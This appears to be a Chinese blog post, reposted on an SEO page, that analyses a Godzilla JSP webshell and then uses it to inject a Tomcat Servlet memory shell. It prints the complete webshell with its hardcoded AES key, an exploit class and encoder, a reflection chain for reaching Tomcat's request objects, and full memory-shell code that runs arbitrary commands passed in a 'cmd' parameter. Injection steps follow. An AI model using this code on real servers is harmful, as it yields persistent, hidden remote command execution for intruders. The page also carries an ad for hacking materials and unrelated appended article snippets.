当前位置: 首页 > news >正文

网站建设 图片/宁波seo整站优化

网站建设 图片,宁波seo整站优化,上海境外输入,wordpress网关支付前言 本次分析使用了ChatGPT进行辅助分析&#xff0c;大大提升了工作效率&#xff0c;很快就分析出木马的工作流程和构造出利用方式。 分析 首先对该木马进行格式化,以增强代码的可读性。得到如下代码 <jsp:root xmlns:jsp"http://java.sun.com/JSP/Page" vers…

前言

本次分析使用了ChatGPT进行辅助分析,大大提升了工作效率,很快就分析出木马的工作流程和构造出利用方式。

image-20230607134057823

分析

  • 首先对该木马进行格式化,以增强代码的可读性。得到如下代码
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration>String xc = "3c6e0b8a9c15224a";String pass = "pass";String md5 = md5(pass + xc);class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);}}/** 作用:AES解密* m:true加密,False解密* */public byte[] x(byte[] s, boolean m){try{javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);}catch(Exception e){return null;}}/** 作用:md5加密* */public static String md5(String s){String ret = null;try{java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = newjava.math.BigInteger(1, m.digest()).toString(16).toUpperCase();}catch(Exception e){}return ret;}/** 作用:base64加密* */public static String base64Encode(byte[] bs) throws Exception{Class base64;String value = null;try{base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});}catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});}catch(Exception e2){}}return value;}/** base64解密* */public static byte[]base64Decode(String bs) throws Exception{Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});}catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});}catch(Exception e2){}}return value;}</jsp:declaration><jsp:scriptlet>try{byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密data = x(data, false);//AES解密if(session.getAttribute("payload") == null){session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载}else{request.setAttribute("parameters", new String(data));Object f = ((Class) session.getAttribute("payload")).newInstance();f.equals(pageContext);response.getWriter().write(md5.substring(0, 16));response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));response.getWriter().write(md5.substring(16));}}catch(Exception e){response.getWriter().write(e.getMessage());}</jsp:scriptlet>
</jsp:root>
  • 前期可以交付ChatGPT初步分析,理清各个函数的基本作用:

image-20230607134909049

  • 得知各个函数的基本功能之后我们主要看<jsp:scriptlet>中的内容:
try{byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密data = x(data, false);//AES解密if(session.getAttribute("payload") == null){session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载}else{request.setAttribute("parameters", new String(data));Object f = ((Class) session.getAttribute("payload")).newInstance();f.equals(pageContext);response.getWriter().write(md5.substring(0, 16));response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));response.getWriter().write(md5.substring(16));}}catch(Exception e){response.getWriter().write(e.getMessage());}
  • 可以看到首先会获取pass参数中的内容,进行base64解密获得一个字节数组,传入给x(),该函数第二个参数为true时候是进行加密,而第二个参数是false时候是解密.因此在base64解密后接着是AES解密,其中秘钥在 <jsp:declaration>已经进行定义为xc变量它的值为3c6e0b8a9c15224a。在解密后会判断session.getAttribute("payload") 是否为null,若不是null则将session中的payload变量设置为X类加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下:

未命名文件(89)

EXP构建

按照上述流程,我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP,恶意代码的构造,可以在静态代码段中进行编写,因为在类加载时候会自动调用静态代码段。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

exp.java

package exp;import java.io.IOException;public class exp {static {try {Runtime.getRuntime().exec("touch /tmp/gg.txt");} catch (IOException e) {e.printStackTrace();}}
}
  • 编译为class
javac exp.java
  • POC,我们可以利用木马中的x()base64Encode当做EXP构成部分即可
package Fvck;import java.io.*;class Fvck{public static byte[] readFileToByteArray(String filePath) {File file = new File(filePath);byte[] fileBytes = new byte[(int) file.length()];try (FileInputStream fis = new FileInputStream(file)) {fis.read(fileBytes);} catch (IOException e) {e.printStackTrace();return null;}return fileBytes;}public static byte[] AesEncode(byte[] s, boolean m){String xc = "3c6e0b8a9c15224a";try{javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);}catch(Exception e){return null;}}public static String base64Encode(byte[] bs) throws Exception{Class base64;String value = null;try{base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});}catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});}catch(Exception e2){}}return value;}public static void main(String[] args) throws Exception {String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));System.out.println(result);}
}

内存马注入

寻找Request

Java Object Searcher
基本使用方法
  • IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址

image-20230608134745602

  • java-object-searcher-0.1.0-jar-with-dependencies.jar放到该地址下的/jre/lib/ext/中例如:
/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar
  • 回到IDEA->File->Project Structure->SDKs,将java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依赖。

image-20230608135436719

  • Tomcat上随便找个地方断点,后打开Evaluate

image-20230608140900703

  • 代码中设置日志输出文件夹,点击Evaluate
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/Users/gqleung/Desktop");
searcher.searchObject();

image-20230608141437030

  • 在运行结束后会输出日志到保存的文件夹:

image-20230608143438929

  • 在其中找一条链子
TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [17] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} ---> global = {org.apache.coyote.RequestGroupInfo}
  • 创建一个线程根据上面链子寻找

image-20230608155228194

代码编写

与上面一致,我们在index.jsp中随便找个地方下断点,Evaluate中进行查找。根据链子我们第一步是获取group,我们通过当前线程去获取该对象。

  • 获取group
Thread thread = Thread.currentThread();//获取线程对象
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值
image-20230609150822826
  • 获取threads

获取threads方法与获取group基本一致

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);

image-20230609151523955

我们链子下一个对象是这个数组的第18个元素,也就是下标为17的元素,直接通过下标获取即可,注意一下数据类型。

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];

image-20230609151658901

  • 获取target

在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一个内部类中,我们直接使用这个包权限不够获取,因此可以使用上一个对象直接getClass()去获取,同时该数据类型权限也不够,因此需要用Object去代替.

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);

image-20230609152419395

  • 获取this$0

获取方法以及原因同上

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);

image-20230609153450084

  • 获取handler

这里我们直接同上方法会报错,我们用Class.forName去指定包来获取看看

image-20230609154830435

我们却发现还是报错了,报错提示并不存在handler这个字段

image-20230609155007367

我们直接从依赖中看,AbstractProtocol确实不存在handler,但是存在handler数据类型,并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler

image-20230609160208708

我们直接尝试从这个包获取handler,发现获取成功

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);

image-20230609160304524

  • 获取global

在获取到handler之后直接通过getClass获取即可

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
/*获取global*/
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
Object global = globalField.get(handler);
  • 回显链最终代码
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
/*获取global*/
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo)globalField.get(handler);
/*获取processors*/
Field processorsField = global.getClass().getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList)processorsField.get(global);
Object p0 = processors.get(0);
/*获取request*/
Field reqField = p0.getClass().getDeclaredField("req");
reqField.setAccessible(true);
org.apache.coyote.Request req = (org.apache.coyote.Request)reqField.get(p0);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
  • 结合内存马
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.RequestGroupInfo;import javax.servlet.ServletContext;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;public class exp extends HttpServlet {public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {response.setContentType("text/html");String cmd = request.getParameter("cmd");PrintWriter out = response.getWriter();try {Process ps = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));StringBuffer sb = new StringBuffer();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}String result = sb.toString();out.print(result);} catch (Exception e) {e.printStackTrace();}}static {try {Thread thread = Thread.currentThread();Field group = Class.forName("java.lang.Thread").getDeclaredField("group");group.setAccessible(true);ThreadGroup threadGroup = (ThreadGroup) group.get(thread);Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");threads.setAccessible(true);Thread[] thread1 = (Thread[]) threads.get(threadGroup);Thread t17 = thread1[17];Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);Field this$0Field = target.getClass().getDeclaredField("this$0");this$0Field.setAccessible(true);Object this$0 = this$0Field.get(target);Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");handlerField.setAccessible(true);Object handler = handlerField.get(this$0);Field globalField = handler.getClass().getDeclaredField("global");globalField.setAccessible(true);RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);Field processorsField = global.getClass().getDeclaredField("processors");processorsField.setAccessible(true);ArrayList processors = (ArrayList) processorsField.get(global);Object r0 = processors.get(0);Field reqField = r0.getClass().getDeclaredField("req");reqField.setAccessible(true);org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);ServletContext servletContext = request.getServletContext();Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性applicationContextField.setAccessible(true);//设置该属性可访问性为TrueApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值standarContextField.setAccessible(true);//设置该属性可访问性为TrueStandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext
//注册ServletWrapper wrapper  = context.createWrapper();//创建一个Wrapperwrapper.setName("MemShellServlet");//设置Servlet名字wrapper.setServletClass(exp.class.getName());wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servletcontext.addChild(wrapper);//添加进Contextcontext.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping} catch (Exception e) {}}
}

使用哥斯拉木马注入Tomcat Servlet内存马

  • 在tomcat中运行上述代码可以在网站WEB-INF/classes/exp.class生成class,我们根据前面构造的EXP生成的base64,(注意需要url编码)

image-20230609163959732

  • 需要访问两次才能触发

image-20230609164048486

  • 成功注入内存马

image-20230609164539751

相关文章:

借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘

前言 本次分析使用了ChatGPT进行辅助分析&#xff0c;大大提升了工作效率&#xff0c;很快就分析出木马的工作流程和构造出利用方式。 分析 首先对该木马进行格式化,以增强代码的可读性。得到如下代码 <jsp:root xmlns:jsp"http://java.sun.com/JSP/Page" vers…...

Java进行多线程编程?(lambda表达式~)

本文标题&#xff1a;Java进行多线程编程&#xff1f;那么&#xff0c;Java为啥不学学如何进程多进程编程呢&#xff1f;&#xff1f;原因在于&#xff1a;Java圈子中不提倡多进程编程~~ 接下来&#xff0c;我们来写一个最为基础/入门的HelloWord程序来感受如何进行多线程~~ J…...

MySQL中的索引事务(2)事务----》数据库运行的原理知识+面试题~

本篇文章建议读者结合&#xff1a;MySQL中的索引事务&#xff08;1&#xff09;索引----》数据库运行的原理知识面试题~_念君思宁的博客-CSDN博客此时&#xff0c;如果你根据name来查询&#xff0c;查到叶子节点得到的只是主键id&#xff0c;还需要通过主键id去主键的B树里面在…...

【数据结构】 七大排序详解(贰)——冒泡排序、快速排序、归并排序

文章目录 ⚽冒泡排序⚾算法步骤&#x1f3a8;算法优化&#x1f94e;代码实现&#xff1a;&#x1f3c0;冒泡排序的特性总结 &#x1f9ed;快速排序⚽算法思路&#x1f4cc;思路一&#xff08;Hoare版&#xff09;&#x1f4cc;思路二&#xff08;挖坑法&#xff09;&#x1f4c…...

小程序的使用

微信小程序开发 外部链接别人的总结查看&#xff08;超详细保姆式教程&#xff09; 基础语法 1.数据绑定 1.1 初始化数据 页面.js的data选项中Page({data: {motto: Hello World,id:18} })使用数据 单项数据流&#xff1a;Mustache 语法 a)模板结构中使用双大括号 {{data}} …...

Spring整合tomcat的WebSocket详细逻辑(图解)

主要解决存在的疑问 为什么存在2种spring整合websocket的方式&#xff0c;一种是使用ServerEndpoint注解的方式&#xff0c;一种是使用EnableWebSocket注解的方式&#xff0c;这2种有什么区别和联系&#xff1f;可以共存吗&#xff1f;它们实现的原理是什么&#xff1f;它们的各…...

【笔试强训选择题】Day37.习题(错题)解析

作者简介&#xff1a;大家好&#xff0c;我是未央&#xff1b; 博客首页&#xff1a;未央.303 系列专栏&#xff1a;笔试强训选择题 每日一句&#xff1a;人的一生&#xff0c;可以有所作为的时机只有一次&#xff0c;那就是现在&#xff01;&#xff01; 文章目录 前言一、Day…...

如何使用HTTP代理爬虫,防止对网站造成负面影响

在当今大数据时代&#xff0c;爬虫技术已经成为了获取数据的重要手段之一。但是&#xff0c;由于爬虫程序的高频访问容易对目标网站造成负面影响&#xff0c;如增加服务器负载、影响网站性能等&#xff0c;因此&#xff0c;如何使用HTTP代理爬虫防止对网站造成负面影响成为了一…...

磐基2.0搭建es集群

参考&#xff1a; k8s安装elasticsearch集群 k8s安装elasticsearch集群_k8s部署elasticsearch集群_MasonYyp的博客-CSDN博客1 环境简述搭建es集群需要使用的技术如下&#xff1a;k8s集群、StatefulSet控制器、Service&#xff08;NodePort&#xff09;服务、PV、PVC、volumeC…...

Java中IO类扫盲篇

文章目录 一、简介二、字节流与字符流1. 字节流&#xff08;InputStream、OutputStream&#xff09;介绍与用法2. 字符流&#xff08;Reader、Writer&#xff09;介绍与用法 三、文件操作与目录遍历1. File类的基本使用2. 目录遍历与递归操作 四、序列化与反序列化1. 序列化与反…...

中秋国庆双节将至,企业如何进行软文推广?

节点营销是每个企业都会面临的课题&#xff0c;中秋国庆双节将至&#xff0c;这两个节日不仅是人们消费的高峰期&#xff0c;也是各大企业通过节日营销提高品牌知名度和美誉度的最佳时机&#xff0c;节点营销的方式之一就是软文推广&#xff0c;那么企业应该如何利用双节来进行…...

SpringMvc--CRUD

目录 一.什么是SpringMvc--CRUD 二.前期准备 公共页面跳转(专门用来处理页面跳转) 三.ssm之CRUD后端实现 配置pom.xml 双击mybatis-generator:generate自动生成mapper 编写generatorConfig.xml 项目结构 编写PagerAspect切面类 编写hpjyBiz接口类 编写hpjyBizImpl接…...

数据库去重(MYSQL和ORACLE)

一、数据库中的去重操作&#xff08;删除数据库中重复记录的SQL语句&#xff09;主要有三种方法 &#xff08;1&#xff09;、rowid方法 &#xff08;2&#xff09;、group by 方法 &#xff08;3&#xff09;、distinct方法 1、用rowid方法 根据Oracle带的rowid属性&#…...

微服务-kubernetes安装

文章目录 一、前言二、kubernetes2.1、Kubernetes (K8S) 是什么2.1.1、主要特性&#xff1a;2.2.2、传统部署方式&#xff1a;2.2.3、虚拟机部署2.2.4容器部署2.2.5什么时候需要 Kubernetes2.2.6、Kubernetes 集群架构 三、kubernetes安装3.1、主节点需要组件3.1.1、设置对应主…...

stm32f103zet6移植标准库的sdio驱动

sdio移植 st官网给的标准库有给一个用于st出的评估板的sdio外设实现&#xff0c;但一是文件结构有点复杂&#xff0c;二是相比于国内正点原子和野火的板子也有点不同&#xff0c;因此还是需要移植下才能使用。当然也可以直接使用正点原子或野火提供的实例&#xff0c;但为了熟…...

为什么vector容器的begin()既可以被iterator 也可以被const_iterator指向?

答&#xff1a;vector容器中的begin&#xff08;&#xff09;是函数接口&#xff0c;它作为函数&#xff0c;被重载了。 typedef T* iterator; typedef const T* const_iterator; iterator begin();//括号中有隐含形参*this&#xff1b; const_iterator begin() const;//形参为…...

uniapp里textarea多行文本输入限制数量

uniapp里textarea多行文本域实现输入计数 <template><view class"inputs"><textarea class"text1" maxlength50 placeholder请输入... input"sumfontnum"></textarea><text class"text2">{{fontNum}}/…...

真香:Alibaba开源GitHub星标100K微服务架构全彩进阶手册

前言&#xff1a; 微服务架构作为一种高效灵活的应用架构&#xff0c;正在成为企业级应用开发的主流选择。在众多的微服务架构指南中&#xff0c;阿里巴巴开源的GitHub微服务架构全彩进阶手册备受瞩目&#xff0c;其100star更是证明了其在开发者社区中的重要地位。 这本手册汇…...

Mysql--事务

事务 开始之前&#xff0c;让我们先想一个场景&#xff0c;有的时候&#xff0c;为了完成某个工作&#xff0c;需要完成多种sql操作 比如转账 再比如下单 第一步 我的账户余额减少 第二步 商品的库存要减少 第三步 订单表中要新增一项 事务的本质&#xff0c;就是为了把多个操…...

【算法题】小红书2023秋招提前批算法真题解析

文章目录 题目来源T1&#xff1a;5900: 【DP】小红书2023秋招提前批-连续子数组最大和5801: 【二分查找】小红书2023秋招提前批-精华帖子解法1——排序滑动窗口解法2——前缀和 二分查找 5000: 【模拟】小红书2023秋招提前批-小红的数组构造解法——数学 5300: 【哈希表】小红…...

序列到序列学习(seq2seq)

permute(1,0,2)&#xff0c;将batch_size 放在中间state 最后一个时刻&#xff0c;每个层的输出...

基于Java+SpringBoot+Vue摄影分享网站的设计与实现 前后端分离【Java毕业设计·文档报告·代码讲解·安装调试】

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…...

接口测试系列 —— POSTMAN的简单使用

postman的基本使用 概述 我相信对于postman的介绍&#xff0c;网上一搜肯定很多很多。下面我就不打算跟大家普及postman了。只看应该怎么用postman进行接口测试。好了&#xff0c;下面咱们直接进入正文吧。 环境 postman之前是作为chrome插件形式存在的。后面变成了独立的应…...

一个帮各位填秋招表格省一点事的浏览器插件

最近应该很多和我一样的双非鼠鼠在秋招等面试&#xff0c;而且处于海投阶段&#xff0c;为了不忘记投了哪些公司&#xff0c;可以用这样一个表格来记录&#xff1a; 其中有些字段&#xff0c;比如状态、投递时间、查看进度的网址其实可以不手动输入&#xff0c;所以搞个插件来…...

react16之前diff算法的理解和总结

此篇文章所讨论的是 React 16 以前的 Diff 算法。而 React 16 启用了全新的架构 Fiber&#xff0c;相应的 Diff 算法也有所改变&#xff0c;本片不详细讨论Fiber。 fiber架构是为了支持react进行可中断渲染&#xff0c;降低卡顿&#xff0c;提升流畅度。 react16之前的版本&…...

JavaEE初阶(1)(冯诺依曼体系、CPU、CPU基本原理、如何衡量CPU的好坏?指令、操作系统、操作系统“内核”)

目录 冯诺依曼体系&#xff08;Von Neumann Architecture&#xff09; CPU CPU基本原理&#xff1a; 如何衡量CPU的好坏&#xff1f; 1、主频&#xff08;时钟速度&#xff09;&#xff1a; 2、核心数&#xff1a; 指令 操作系统 操作系统“内核” 冯诺依曼体系&#x…...

记录在yapi上传接口的问题

sorry ,upload api error cause:请求参数 data.path 不应少于 1 个字符 自己在写的代码中使用到了DeleteMapping DeleteMapping("/deleteCart/{skuId}")public Result deleteCart(PathVariable Long skuId,HttpServletRequest request){报上面的错误&#xff0c;原因…...

DevOps管理软件生命周期

整体的软件开发流程 PLAN&#xff1a;开发团队根据客户的目标制定开发计划 CODE&#xff1a;根据PLAN开始编码过程&#xff0c;需要将不同版本的代码存储在一个库中。GIT,SVN BUILD&#xff1a;编码完成后&#xff0c;需要将代码构建并且运行。MAVEN TEST&#xff1a;成功构建…...

快速解决 adb server version doesn‘t match this client

这个问题是由于电脑上安装了多个版本的adb工具&#xff0c;客户端和服务端的版本不一致&#xff0c;无法正常通信导致。最快的解决方法就是将Android SDK中adb复制到系统目录下。 操作步骤如下&#xff1a; 1. 查看adb版本和路径 执行adb version&#xff0c;如下&#xff0…...

【更新至2022年】2000-2022年全国31省市以2000年为基期的实际GDP、名义GDP、GDP平减指数数据(含原始数据+计算过程+计算结果)

2000-2022年31省市名义GDP 实际GDP GDP平减指数 1、时间&#xff1a;2000-2022 2、范围&#xff1a;31省市 3、来源&#xff1a;GJ统计J和统计NJ 4、指标&#xff1a;名义GDP、地区生产总值指数&#xff08;上年100&#xff09;、实际GDP&#xff08;以2000年为基期&#x…...